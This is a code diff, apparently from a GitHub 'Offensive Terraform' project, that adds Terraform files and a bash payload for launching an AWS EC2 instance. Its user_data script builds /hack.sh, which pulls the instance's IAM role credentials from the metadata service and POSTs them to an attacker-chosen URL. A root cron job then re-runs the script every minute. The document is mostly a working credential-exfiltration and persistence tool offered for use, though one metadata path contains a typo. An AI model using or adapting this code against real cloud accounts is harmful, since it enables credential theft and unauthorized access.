File tree Expand file tree Collapse file tree 4 files changed +74
-0
lines changed Expand file tree Collapse file tree 4 files changed +74
-0
lines changed Original file line number Diff line number Diff line change
1
+ provider "aws" {
2
+ region = " us-east-1"
3
+ profile = " terraform"
4
+ }
5
+
6
+ terraform {
7
+ required_version = " >= 0.12"
8
+ }
9
+
10
+ resource "aws_instance" "this" {
11
+ ami = " ami-06b263d6ceff0b3dd"
12
+ instance_type = " t2.micro"
13
+ subnet_id = var. subnet_id
14
+ iam_instance_profile = var. iam_instance_profile
15
+ user_data = data. template_file . user_data . rendered
16
+ associate_public_ip_address = true
17
+
18
+ tags = {
19
+ CreatedBy = " Offensive Terraform"
20
+ }
21
+ }
22
+
23
+ data "template_file" "user_data" {
24
+ template = file (" payload.sh" )
25
+
26
+ vars = {
27
+ url = var.url
28
+ iam_role = var.iam_role
29
+ }
30
+ }
Original file line number Diff line number Diff line change
1
+ output "aws_instance_id" {
2
+ value = aws_instance. this . * . id
3
+ }
4
+
5
+ output "aws_instance_public_ip" {
6
+ value = aws_instance. this . * . public_ip
7
+ }
8
+
9
+ output "aws_instance_private_ip" {
10
+ value = aws_instance. this . * . private_ip
11
+ }
12
+
13
+ output "aws_instance_user_data" {
14
+ value = aws_instance. this . * . user_data
15
+ }
Original file line number Diff line number Diff line change
1
+ #! /bin/bash
2
+ sudo apt-get update
3
+ sudo apt-get install -y curl
4
+
5
+ echo ' #! /bin/bash' >> /hack.sh
6
+ echo ' TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`' >> /hack.sh
7
+ echo ' curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-daa/iam/security-credentials/${iam_role} > data.json' >> /hack.sh
8
+ echo ' curl -X POST -d @data.json ${url}' >> /hack.sh
9
+
10
+ echo ' * * * * * root bash /hack.sh' >> /etc/crontab && echo " " >> /etc/crontab
Original file line number Diff line number Diff line change
1
+ variable "subnet_id" {
2
+ type = string
3
+ description = " "
4
+ }
5
+
6
+ variable "url" {
7
+ type = string
8
+ description = " "
9
+ }
10
+
11
+ variable "iam_instance_profile" {
12
+ type = string
13
+ description = " "
14
+ }
15
+
16
+ variable "iam_role" {
17
+ type = string
18
+ description = " "
19
+ }
You can’t perform that action at this time.
0 commit comments